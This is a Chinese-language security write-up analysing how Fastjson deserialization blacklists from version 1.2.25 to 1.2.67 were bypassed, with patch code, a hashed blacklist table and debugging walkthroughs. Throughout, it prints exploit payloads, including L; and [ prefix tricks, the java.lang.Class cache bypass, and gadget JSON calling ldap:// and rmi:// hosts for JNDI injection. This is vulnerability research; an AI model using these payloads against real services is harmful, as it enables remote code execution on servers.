Java-Fastjson 反序列化各版本绕过分析
0x01 写在前面
我们上篇文章分析了 Fastjson 1.2.24 版本的漏洞,这篇文章主要讲一讲 1.2.25 之后版本的绕过手段
在讲这个之前,我们先看一看 Fastjson 的 1.2.25 版本是如何修复 1.2.24 版本的漏洞的
0x02 Fastjson 1.2.25 漏洞修复
checkAutoType
修补方案就是将 DefaultJSONParser.parseObject() 函数中的 TypeUtils.loadClass 替换为 checkAutoType() 函数
1.2.24 版本:

1.2.25 版本:

看下 checkAutoType() 函数,具体的可看注释:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
简单地说,checkAutoType() 函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList 为白名单(默认为空,可手动添加),denyList 为黑名单(默认不为空)
默认情况下,autoTypeSupport 为 False,即先进行黑名单过滤,遍历 denyList,如果引入的库以 denyList 中某个 deny 开头,就会抛出异常,中断运行
denyList 黑名单中列出了常见的反序列化漏洞利用链 Gadgets:
1 | bsh |
这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了
运行能看到报错信息,说 autoType 不支持该类:

调试分析看到,就是在 checkAutoType() 函数中未开启 autoTypeSupport 即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的:

autoTypeSupport
autoTypeSupport 是 checkAutoType() 函数出现后 ParserConfig.java 中新增的一个配置选项,在 checkAutoType() 函数的某些代码逻辑起到开关的作用。
默认情况下 autoTypeSupport 为 False,将其设置为 True 有两种方法:
- JVM 启动参数:
-Dfastjson.parser.autoTypeSupport=true - 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局 ParserConfig 则用另外调用setAutoTypeSupport(true);
AutoType 白名单设置方法:
- JVM 启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.b - 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a"); - 通过
fastjson.properties文件配置。在 1.2.25/1.2.26 版本支持通过类路径的 fastjson.properties 文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
补丁小结
- 在 1.2.24 之后的版本中,使用了 checkAutoType()函数,通过黑白名单的方式来防御 Fastjson 反序列化漏洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单的绕过来实现攻击利用的
- 网上一些文章讲的都是针对 1.2.41、1.2.42、1.2.43、1.2.45 这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从 1.2.25 开始的一系列版本
0x03 寻找可用利用链
通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用
从 1.2.42 版本开始,Fastjson 把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在 Github 上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
目前已知的列表
| version | hash | hex-hash | name |
| 1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
| 1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
| 1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
| 1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
| 1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
| 1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
| 1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
| 1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
| 1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
| 1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
| 1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
| 1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
| 1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
| 1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
| 1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
| 1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
| 1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
| 1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
| 1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
| 1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
| 1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
| 1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
| 1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
| 1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
| 1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
| 1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
| 1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
| 1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
| 1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
| 1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
| 1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
| 1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
| 1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
| 1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
| 1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
| 1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
| 1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
| 1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
| 1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
| 1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
| 1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
| 1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
| 1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
| 1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
| 1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
| 1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
| 1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
| 1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
| 1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
| 1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
| 1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
| 1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
| 1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
| 1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
| 1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
| 1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
| 1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
| 1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
| 1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | oracle.net. |
| 1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
| 1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | jdk.internal. |
| 1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
| 1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
| 1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
| 1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
| 1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
| 1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
| 1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
| 1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
| 1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
| 1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
| 1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
| 1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
| 1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
| 1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | java.lang.UNIXProcess |
| 1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
| 1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
| 1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | org.codehaus.jackson. |
| 1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
| 1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L | org.apache.commons.proxy. |
| 1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
| 1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
| 1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
| 1.2.66 | -2439930098895578154 | 0xde23a0809a8b9bd6L | javax.script. |
| 1.2.66 | -582813228520337988 | 0xf7e96e74dfa58dbcL | javax.sound. |
| 1.2.66 | -26639035867733124 | 0xffa15bf021f1e37cL | javax.print. |
| 1.2.66 | 386461436234701831 | 0x55cfca0f2281c07L | javax.activation. |
| 1.2.66 | 1153291637701043748 | 0x100150a253996624L | javax.tools. |
| 1.2.66 | 1698504441317515818L | 0x17924cca5227622aL | javax.management. |
| 1.2.66 | 7375862386996623731L | 0x665c53c311193973L | org.apache.xbean. |
| 1.2.66 | 7658177784286215602L | 0x6a47501ebb2afdb2L | org.eclipse.jetty. |
| 1.2.66 | 8055461369741094911L | 0x6fcabf6fa54cafffL | javax.naming. |
| 1.2.67 | -7775351613326101303L | 0x941866e73beff4c9L | org.apache.shiro.realm. |
| 1.2.67 | -6025144546313590215L | 0xac6262f52c98aa39L | org.apache.http.conn. |
| 1.2.67 | -5939269048541779808L | 0xad937a449831e8a0L | org.quartz. |
| 1.2.67 | -5885964883385605994L | 0xae50da1fad60a096L | com.taobao.eagleeye.wrapper |
| 1.2.67 | -3975378478825053783L | 0xc8d49e5601e661a9L | org.apache.http.impl. |
| 1.2.67 | -2378990704010641148L | 0xdefc208f237d4104L | com.ibatis. |
| 1.2.67 | -905177026366752536L | 0xf3702a4a5490b8e8L | org.apache.catalina. |
| 1.2.67 | 2660670623866180977L | 0x24ec99d5e7dc5571L | org.apache.http.auth. |
| 1.2.67 | 2731823439467737506L | 0x25e962f1c28f71a2L | br.com.anteros. |
| 1.2.67 | 3637939656440441093L | 0x327c8ed7c8706905L | com.caucho. |
| 1.2.67 | 4254584350247334433L | 0x3b0b51ecbf6db221L | org.apache.http.cookie. |
| 1.2.67 | 5274044858141538265L | 0x49312bdafb0077d9L | org.javasimon. |
| 1.2.67 | 5474268165959054640L | 0x4bf881e49d37f530L | org.apache.cocoon. |
| 1.2.67 | 5596129856135573697L | 0x4da972745feb30c1L | org.apache.activemq.jms.pool. |
| 1.2.67 | 6854854816081053523L | 0x5f215622fb630753L | org.mortbay.jetty. |
| 1.2.68 | -3077205613010077203L | 0xd54b91cc77b239edL | org.apache.shiro.jndi. |
| 1.2.68 | -2825378362173150292L | 0xd8ca3d595e982bacL | org.apache.ignite.cache.jta. |
| 1.2.68 | 2078113382421334967L | 0x1cd6f11c6a358bb7L | javax.swing.J |
| 1.2.68 | 6007332606592876737L | 0x535e552d6f9700c1L | org.aoju.bus.proxy.provider. |
| 1.2.68 | 9140390920032557669L | 0x7ed9311d28bf1a65L | java.awt.p |
| 1.2.68 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
| 1.2.69 | -8024746738719829346L | 0x90a25f5baa21529eL | java.io.Serializable |
| 1.2.69 | -5811778396720452501L | 0xaf586a571e302c6bL | java.io.Closeable |
| 1.2.69 | -3053747177772160511L | 0xd59ee91f0b09ea01L | oracle.jms.AQ |
| 1.2.69 | -2114196234051346931L | 0xe2a8ddba03e69e0dL | java.util.Collection |
| 1.2.69 | -2027296626235911549L | 0xe3dd9875a2dc5283L | java.lang.Iterable |
| 1.2.69 | -2939497380989775398L | 0xd734ceb4c3e9d1daL | java.lang.Object |
| 1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
| 1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
| 1.2.69 | 3247277300971823414L | 0x2d10a5801b9d6136L | java.lang.Cloneable |
| 1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
| 1.2.69 | 7222019943667248779L | 0x6439c4dff712ae8bL | java.util.EventListener |
| 1.2.70 | -5076846148177416215L | 0xb98b6b5396932fe9L | org.apache.commons.collections4.Transformer |
| 1.2.70 | -4703320437989596122L | 0xbeba72fb1ccba426L | org.apache.commons.collections4.functors |
| 1.2.70 | -4314457471973557243L | 0xc41ff7c9c87c7c05L | org.jdom2.transform. |
| 1.2.70 | -2533039401923731906L | 0xdcd8d615a6449e3eL | org.apache.hadoop.shaded.com.zaxxer.hikari. |
| 1.2.70 | 156405680656087946L | 0x22baa234c5bfb8aL | com.p6spy.engine. |
| 1.2.70 | 1214780596910349029L | 0x10dbc48446e0dae5L | org.apache.activemq.pool. |
| 1.2.70 | 3085473968517218653L | 0x2ad1ce3a112f015dL | org.apache.aries.transaction. |
| 1.2.70 | 3129395579983849527L | 0x2b6dd8b3229d6837L | org.apache.activemq.ActiveMQConnectionFactory |
| 1.2.70 | 4241163808635564644L | 0x3adba40367f73264L | org.apache.activemq.spring. |
| 1.2.70 | 7240293012336844478L | 0x647ab0224e149ebeL | org.apache.activemq.ActiveMQXAConnectionFactory |
| 1.2.70 | 7347653049056829645L | 0x65f81b84c1d920cdL | org.apache.commons.jelly. |
| 1.2.70 | 7617522210483516279L | 0x69b6e0175084b377L | org.apache.axis2.transport.jms. |
| 1.2.71 | -4537258998789938600L | 0xc1086afae32e6258L | java.io.FileReader |
| 1.2.71 | -4150995715611818742L | 0xc664b363baca050aL | java.io.ObjectInputStream |
| 1.2.71 | -2995060141064716555L | 0xd66f68ab92e7fef5L | java.io.FileInputStream |
| 1.2.71 | -965955008570215305L | 0xf2983d099d29b477L | java.io.ObjectOutputStream |
| 1.2.71 | -219577392946377768L | 0xfcf3e78644b98bd8L | java.io.DataOutputStream |
| 1.2.71 | 2622551729063269307L | x24652ce717e713bbL | java.io.PrintWriter |
| 1.2.71 | 2930861374593775110L | 0x28ac82e44e933606L | java.io.Buffered |
| 1.2.71 | 4000049462512838776L | 0x378307cb0111e878L | java.io.InputStreamReader |
| 1.2.71 | 4193204392725694463L | 0x3a31412dbb05c7ffL | java.io.OutputStreamWriter |
| 1.2.71 | 5545425291794704408L | 0x4cf54eec05e3e818L | java.io.FileWriter |
| 1.2.71 | 6584624952928234050L | 0x5b6149820275ea42L | java.io.FileOutputStream |
| 1.2.71 | 7045245923763966215L | 0x61c5bdd721385107L | java.io.DataInputStream |
| 1.2.83 | -8754006975464705441L | 0x868385095a22725fL | org.apache.commons.io. |
| 1.2.83 | -8382625455832334425L | 0x8baaee8f9bf77fa7L | org.mvel2. |
| 1.2.83 | -6088208984980396913L | 0xab82562f53e6e48fL | kotlin.reflect. |
| 1.2.83 | -4733542790109620528L | 0xbe4f13e96a6796d0L | com.googlecode.aviator. |
| 1.2.83 | -1363634950764737555L | 0xed13653cb45c4bedL | org.aspectj. |
| 1.2.83 | -803541446955902575L | 0xf4d93f4fb3e3d991L | org.dom4j. |
| 1.2.83 | 860052378298585747L | 0xbef8514d0b79293L | org.apache.commons.cli. |
| 1.2.83 | 1268707909007641340L | 0x119b5b1f10210afcL | com.google.common.eventbus. |
| 1.2.83 | 3058452313624178956L | 0x2a71ce2cc40a710cL | org.thymeleaf. |
| 1.2.83 | 3740226159580918099L | 0x33e7f3e02571b153L | org.junit. |
| 1.2.83 | 3977090344859527316L | 0x37317698dcfce894L | org.mockito.asm. |
| 1.2.83 | 4319304524795015394L | 0x3bf14094a524f0e2L | com.google.common.io. |
| 1.2.83 | 5120543992130540564L | 0x470fd3a18bb39414L | org.mockito.runners. |
| 1.2.83 | 5916409771425455946L | 0x521b4f573376df4aL | org.mockito.cglib. |
| 1.2.83 | 6090377589998869205L | 0x54855e265fe1dad5L | com.google.common.reflect. |
| 1.2.83 | 7164889056054194741L | 0x636ecca2a131b235L | org.mockito.stubbing. |
| 1.2.83 | 8711531061028787095L | 0x78e5935826671397L | org.apache.commons.codec. |
| 1.2.83 | 8735538376409180149L | 0x793addded7a967f5L | ognl. |
| 1.2.83 | 8861402923078831179L | 0x7afa070241b8cc4bL | com.google.common.util.concurrent. |
| 1.2.83 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
| 1.2.83 | 9144212112462101475L | 0x7ee6c477da20bbe3L | com.google.common.net. |
目前未知的列表
| version | hash | hex-hash | name |
| 1.2.42 | 33238344207745342 | 0x761619136cc13eL | |
| 1.2.67 | -831789045734283466L | 0xf474e44518f26736L | |
| 1.2.71 | 3452379460455804429L | 0x2fe950d3ea52ae0dL | |
| 1.2.78 | -8614556368991373401L | 0x8872f29fd0b0b7a7L | |
| 1.2.78 | -5472097725414717105L | 0xb40f341c746ec94fL | |
| 1.2.78 | -3750763034362895579L | 0xcbf29ce484222325L | |
| 1.2.78 | -1800035667138631116L | 0xe704fd19052b2a34L | |
| 1.2.78 | -831789045734283466L | 0xf474e44518f26736L | |
| 1.2.78 | 33238344207745342L | 0x761619136cc13eL | |
| 1.2.78 | 3452379460455804429L | 0x2fe950d3ea52ae0dL | |
| 1.2.78 | 4215053018660518963L | 0x3a7ee0635eb2bc33L | |
| 1.2.83 | -8614556368991373401L | 0x8872f29fd0b0b7a7L | |
| 1.2.83 | -3750763034362895579L | 0xcbf29ce484222325L | |
| 1.2.83 | -1800035667138631116L | 0xe704fd19052b2a34L | |
| 1.2.83 | 4215053018660518963L | 0x3a7ee0635eb2bc33L |
0x04 1.2.25-1.2.41 补丁绕过
EXP
本地的 Fastjson 版本是 1.2.41,我们可以先试一试之前用的 EXP,情况会怎么样:

可以看到 autoType is not support. com.sun.rowset.JdbcRowSetImpl,该类在黑名单里面被 ban 了
payload 用的是简单绕过,既然 sun 包里面的这个 JdbcRowSetImpl 类被 ban 了,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过,然后开启 AutoTypeSupport
EXP 如下:
1 | import com.alibaba.fastjson.JSON; |

调试分析
我们注意到,PoC 和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤
下面我们调试分析看看为啥会绕过,首先要知道一点,Lcom.sun.rowset.JdbcRowSetImpl; 这个类其实是不存在的。
断点下在 ParseConfig 的 checkAutoType() 方法:

开始调试,先一路进到这个地方,就是我们前文所说的黑名单了

继续往里走,它会判断我们 @type 类是否为黑名单那里面的类。这里会循环很久,可以直接跳出来,继续往下走会走到一个特别重要与核心的方法 loadClass(),它隶属的类是 TypeUTtils

意思是,如果我们这个类的起始是 L,结尾是 ;,就把这两个家伙给干掉,变成空白,所以这里返回过来的就是 com.sun.rowset.JdbcRowSetImpl 了,就可以进行我们的恶意利用,这个代码写出来也是不知道 hyw……

这样就成功绕过拿到了我们的目标类

0x05 1.2.25-1.2.42 补丁绕过
EXP
1 | import com.alibaba.fastjson.JSON; |
调试分析
这里代码运行的逻辑是,如果还是按照我们的 EXP 写的话,Fastjson 会先行提取 L 和 ;,也就是逻辑不准确,第一次调用 loadClass(),其内部又调用 loadclass,此时的 newClassName 为 Lcom.sun.rowset.JdbcRowSetImpl;,然后再次调用一次含 cache 参数的 loadClass()

所以我们这里可以直接写两个来绕过

0x06 1.2.25-1.2.43 补丁绕过
EXP
1 | import com.alibaba.fastjson.JSON; |
运行发生了报错:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Calc","autoCommit":"true" } |
报错信息如上,显示期待在 42 列的位置接受个 [ 符号,而 42 列正好是第一个逗号”,”前一个位置:
1 | {\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1099/Calc\",\"autoCommit\":\"true\" } |
还是发生了报错:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.42 |
显示期待在 42 列的位置接受个 { 符号,也是一样的,最终 EXP:
1 | import com.alibaba.fastjson.JSON; |

调试分析
在 checkAutoType() 函数中,修改的是直接对类名以”LL”开头的直接报错:

但是以 [ 开头的类名能成功绕过上述校验以及黑名单过滤。
继续往下调试,在 TypeUtils.loadClass() 函数中,除了前面看到的判断是否以 L 开头、以 ; 结尾的 if 判断语句外,在其前面还有一个判断是否以 [ 开头的 if 判断语句,是的话就提取其中的类名,并调用 Array.newInstance().getClass() 来获取并返回类:

解析完返回的类名是 [com.sun.rowset.JdbcRowSetImpl,通过 checkAutoType() 函数检测之后,到后面就是读该类进行反序列化了:

0x07 1.2.25-1.2.45 补丁绕过
前提条件
需要目标服务端存在版本 3.0.0-3.5.0 的 mybatis 的 jar 包
1 | <dependency> |
关键 PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
主要就是黑名单绕过,这个类我们在哈希黑名单中 1.2.46 的版本中可以看到:
| version | hash | hex-hash | name |
| 1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | `org.apache.ibatis.datasource.jndi.JndiDataSourceFactory` |
EXP:
1 | import com.alibaba.fastjson.JSON; |
调试分析
调试 checkAutoType() 函数,看到对前一个补丁绕过方法的 [ 字符进行了过滤,只要类名以 [ 开头就直接抛出异常:

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过 checkAutoType() 函数的检测
继续往下调试分析 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这条利用链的原理
由于 payload 中设置了 properties 属性值,且 JndiDataSourceFactory.setProperties() 方法满足之前说的 Fastjson 会自动调用的 setter 方法的条件,因此可被利用来进行 Fastjson 反序列化漏洞的利用
直接在该 setter 方法打断点,可以看到会调用到这来,这里就是熟悉的 JNDI 注入漏洞了,即 InitialContext.lookup(),其中参数由我们输入的 properties 属性中的 data_source 值获取的

0x08 1.2.25-1.2.47 补丁绕过
EXP
本次 Fastjson 反序列化漏洞也是基于 checkAutoType() 函数绕过的,并且无需开启 AutoTypeSupport,大大提高了成功利用的概率。
绕过的大体思路是通过 java.lang.Class,将 JdbcRowSetImpl 类加载到 Map 中缓存,从而绕过 AutoType 的检测。因此将 payload 分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType() 就会抛出异常终止程序。
Demo 如下,无需开启 AutoTypeSupport,本地 Fastjson 用的是 1.2.47 版本:
1 | import com.alibaba.fastjson.JSON; |
调试分析
实际上还是利用了 com.sun.rowset.JdbcRowSetImpl 这条利用链来攻击利用的,因此除了 JDK 版本外几乎没有限制
但是如果目标服务端开启了 AutoTypeSupport 呢?经测试发现:
- 1.2.25-1.2.32 版本:未开启 AutoTypeSupport 时能成功利用,开启 AutoTypeSupport 反而不能成功触发;
- 1.2.33-1.2.47 版本:无论是否开启
AutoTypeSupport,都能成功利用;
在调用 DefaultJSONParser.parserObject() 函数时,其会对 JSON 数据进行循环遍历扫描解析
在第一次扫描解析中,进行 checkAutoType() 函数,由于未开启 AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于 @type 执行 java.lang.Class 类,该类在接下来的 findClass() 函数中直接被找到,并在后面的 if 判断 clazz 不为空后直接返回:

往下调试,调用到 MiscCodec.deserialze()

往下调试,调用到 MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取 val 键对应的值赋给 objVal 变量:

而 objVal 在后面会赋值给 strVal 变量:

接着判断 clazz 是否为 Class 类,是的话调用 TypeUtils.loadClass() 加载 strVal 变量值指向的类:

在 TypeUtils.loadClass() 函数中,成功加载 com.sun.rowset.JdbcRowSetImpl 类后,就会将其缓存在 Map 中:

在扫描第二部分的 JSON 数据时,由于前面第一部分 JSON 数据中的 val 键值 com.sun.rowset.JdbcRowSetImpl 已经缓存到 Map 中了,所以当此时调用 TypeUtils.getClassFromMapping() 时能够成功从 Map 中获取到缓存的类,进而在下面的判断 clazz 是否为空的 if 语句中直接 return 返回了,从而成功绕过 checkAutoType() 检测:

后续补丁
由于 1.2.47 这个洞能够在不开启 AutoTypeSupport 实现 RCE,因此危害十分巨大,看看是怎样修的。1.2.48 中的修复措施是,在 loadClass() 时,将缓存开关默认置为 False,所以默认是不能通过 Class 加载进缓存了。同时将 Class 类加入到了黑名单中
因此,即使未开启 AutoTypeSupport,但 com.sun.rowset.JdbcRowSetImpl 类并未缓存到 Map 中,就不能和前面一样调用 TypeUtils.getClassFromMapping() 来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:
0x09 Fastjson <= 1.2.61 通杀
Fastjson1.2.5 <= 1.2.59
需要开启 AutoType
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
Fastjson1.2.5 <= 1.2.60
需要开启 autoType:
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
Fastjson1.2.5 <= 1.2.61
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi |
0x10 1.2.62 反序列化漏洞
前提条件
- 需要开启 AutoType
- Fastjson <= 1.2.62
- JNDI 注入利用所受的 JDK 版本限制
- 目标服务端需要存在 xbean-reflect 包;xbean-reflect 包的版本不限
1 | <dependencies> |
漏洞原理
新 Gadget 绕过黑名单限制
org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞,可由其构造函数处触发利用
我们这里可以去到 JndiConverter 这个类里面,看到 toObjectImpl() 方法确实是存在 JNDI 漏洞的

为我们对 JndiConverter 这个类进行反序列化的时候,会自动调用它的构造函数,而它的构造函数里面调用了它的父类。所以我们反序列化的时候不仅能够调用 JndiConverter 这个类,还会去调用它的父类 AbstractConverter,setAsText() 就是其 setter 方法

EXP:
1 | import com.alibaba.fastjson.JSON; |

0x11 1.2.66 反序列化漏洞
前提条件
- 开启 AutoType
- Fastjson <= 1.2.66
- JNDI 注入利用所受的 JDK 版本限制
org.apache.shiro.jndi.JndiObjectFactory类需要 shiro-core 包br.com``.anteros.dbcp.AnterosDBCPConfig类需要 Anteros-Core 和 Anteros-DBCP 包com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要 ibatis-sqlmap 和 jta 包
漏洞原理
新 Gadget 绕过黑名单限制
1.2.66 涉及多条 Gadget 链,原理都是存在 JDNI 注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory 类 PoC:
1 | {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]} |
br.com``.anteros.dbcp.AnterosDBCPConfig 类 PoC:
1 | {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类 PoC:
1 | {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTra |
EXP:
1 | import com.alibaba.fastjson.JSON; |
0x12 1.2.67 反序列化漏洞
前提条件
- 开启 AutoType
- Fastjson <= 1.2.67
- JNDI 注入利用所受的 JDK 版本限制
